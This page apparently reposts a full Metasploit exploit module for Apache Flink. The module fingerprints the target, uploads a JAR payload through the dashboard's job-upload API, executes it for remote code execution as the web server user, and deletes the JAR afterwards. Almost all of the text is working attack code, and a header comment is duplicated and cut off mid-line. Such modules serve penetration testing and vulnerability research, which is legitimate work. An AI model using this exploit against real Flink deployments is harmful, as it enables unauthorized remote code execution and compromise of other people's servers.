Vulnerabilities

Apache Flink JAR Upload Java Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Flink JAR Upload Java Code Execution',
'Description' => %q{
This module uses job functionality in Apache Flink dashboard web
interface to upload and execute a JAR file, leading to remote
execution of arbitrary Java code as the web server user.

This module has been tested successfully on Apache Flink versions:
1.9.3 on Ubuntu 18.04.4;
1.11.2 on Ubuntu 18.04.4;
1.9.3 on Windows 10; and
1.11.2 on Windows 10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Henry Chen', # Initial technique demonstration and writeup
'bigger.wing', # Python exploit
'bcoles' # Metasploit module
],
'References' =>
[
['EDB', '48978'],
['PACKETSTORM', '159779'],
['URL', 'https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-'],
['URL', 'https://s.tencent.com/research/bsafe/841.html'],
['URL', 'https://cloud.tencent.com/developer/article/1540439'],
['URL', 'https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/'],
],
'Platform' => 'java',
'Arch' => [ARCH_JAVA],
'Targets' =>
[
['Automatic', {}]
],
'Privileged' => false,
'DisclosureDate' => '2019-11-13',
'DefaultTarget' => 0,
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION]
}
)
)

register_options([
Opt::RPORT(8081)
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'config')
})

unless res
return CheckCode::Unknown('No reply.')
end

unless res.body.include?('flink')
return CheckCode::Safe('Target is not Apache Flink.')
end

version = res.get_json_document['flink-version']
if version
return CheckCode::Appears("Apache Flink version #{version}.")
end

CheckCode::Appears
end

def delete_jar(filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'jars', filename),
'method' => 'DELETE',
'ctype' => 'application/json;charset=UTF-8'
)
end

def list_jars
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'jars'),
'method' => 'GET'
)
end

def upload_jar(filename, data)
post_data = Rex::MIME::Message.new
post_data.add_part(data, 'application/x-java-archive', 'binary', "form-data; name="jarfile"; filename="#{filename}"")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'jars', 'upload'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
end

def run_jar(filename, entry_class)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'jars', filename, 'run'),
'method' => 'POST',
'ctype' => 'application/json;charset=UTF-8',
'vars_get' => {
'entry-class' => entry_class
},
'data' => {
entryClass: entry_class,
parallelism: nil,
programArgs: nil,
savepointPath: nil,
allowNonRestoredState: nil
}.to_json
)
end

def cleanup
return unless @jar

print_status("Removing JAR file '#{@jar}' ...")

res = delete_jar(@jar)

unless res && res.code == 200
print_warning("Cleanup failed. Could not remove JAR file '#{@jar}'")
end
end

def exploit
data = generate_payload.encoded_jar.pack
fail_with(Failure::Unknown, 'Failed to generate the JAR payload.') unless data

filename = "#{rand_text_alpha(8..12)}.jar"

print_status("Uploading JAR payload '#{filename}' (#{data.length} bytes) ...")

res = upload_jar(filename, data)

unless res
fail_with(Failure::Unreachable, 'JAR upload failed. No reply.')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).")
end

unless res.get_json_document['status'] == 'success'
fail_with(Failure::UnexpectedReply, 'JAR upload failed. Unexpected reply.')
end

print_status('Retrieving list of avialable JAR files ...')

res = list_jars

unless res
fail_with(Failure::Unreachable, 'Could not list available JARs. No reply.')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, "Could not list available JARs. Unexpected reply (HTTP #{res.code}).")
end

jars = res.get_json_document['files']

if jars.blank?
fail_with(Failure::UnexpectedReply, 'Could not list available JARs. No JAR files available.')
end

jars.each do |jar|
if jar['name'] == filename
@jar = jar['id']
break
end
end

unless @jar
fail_with(Failure::UnexpectedReply, 'Could not retrieve JAR file name.')
end

print_good("Found uploaded JAR file '#{@jar}'")

entry_class = 'metasploit.Payload'
print_status("Executing JAR payload '#{@jar}' entry class '#{entry_class}' ...")

run_jar(@jar, entry_class)
end
end

Share your comment publicly